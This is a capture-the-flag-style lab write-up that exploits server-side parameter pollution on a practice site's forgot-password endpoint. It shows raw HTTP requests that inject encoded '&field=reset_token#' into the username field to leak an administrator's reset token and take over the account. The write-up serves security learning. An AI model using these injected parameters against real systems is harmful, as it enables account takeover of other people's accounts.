Exploiting server side parameter pollution in a query string

Description

To solve the lab, log in as the administrator and delete carlos.

Approach

After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite. Two requests got my attention: one fetching a JavaScript file and the other a POST request to /forgot-password.

Starting with the GET /static/js/forgotPassword.js, there is an interesting part in the JavaScript script:

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }

This part is responsible for getting the value of reset_token and verifying it. If it exists, it redirects with a GET request to /forgot-password with that reset_token.

From this information, I can build an attack path to get the administrator's reset_token, reset their password, log in as them, and delete the user Carlos.

I started working on how to get the reset_token of the administrator. I went to the POST /forgot-password request and sent it to the repeater in Burp Suite to start working on it.

POST /forgot-password HTTP/2
Host: 0ad9005904e93da6830b064c00c100e6.web-security-academy.net
Cookie: session=XX4y2Xd8qFXhlYM0Idm6QkEykmDJKSrs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=lUkBK6PRsgjJbI2kT8jKumH5v93cmXHK&username=administrator

First, I tested for server-side parameter pollution by trying to truncate the query string using the # character and URL encoding it.

POST /forgot-password HTTP/2
Host: 0ad9005904e93da6830b064c00c100e6.web-security-academy.net
Cookie: session=XX4y2Xd8qFXhlYM0Idm6QkEykmDJKSrs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=lUkBK6PRsgjJbI2kT8jKumH5v93cmXHK&username=administrator%23

I received an error:

{"error": "Field not specified."}

Since I truncated the query, there was still a parameter that didn't get its value, and the error indicated it was the field parameter. So I tried adding it to see what I would get:

POST /forgot-password HTTP/2
Host: 0a24009d031f410f8149c2c400380018.web-security-academy.net
Cookie: session=SWBZszK2kZEaao6LLahbAfqbxNVnR13I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

csrf=TRxtbbrFl6fBhrYWOQ7IeHmYygPHxMr8&username=administrator%26field=ichyaboy%23

I received an error indicating an invalid field:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{"type":"ClientError","code":400,"error":"Invalid field."}

Referring back to my earlier findings about the reset_token, I tried passing it to see if it could be reached:

POST /forgot-password HTTP/2
Host: 0a24009d031f410f8149c2c400380018.web-security-academy.net
Cookie: session=SWBZszK2kZEaao6LLahbAfqbxNVnR13I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=TRxtbbrFl6fBhrYWOQ7IeHmYygPHxMr8&username=administrator%26field=reset_token%23

I received the token in the response:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"type":"reset_token","result":"100oji58dtnwesl7euzmeri075etmhwd"}

By simply sending a GET /forgot-password?reset_token=100oji58dtnwesl7euzmeri075etmhwd, I could access the password reset page for the administrator. I right-clicked the response, clicked Show response in browser, copied the URL, and pasted it into my browser. I reset the administrator's password, logged in as him, and deleted the user Carlos, solving the lab.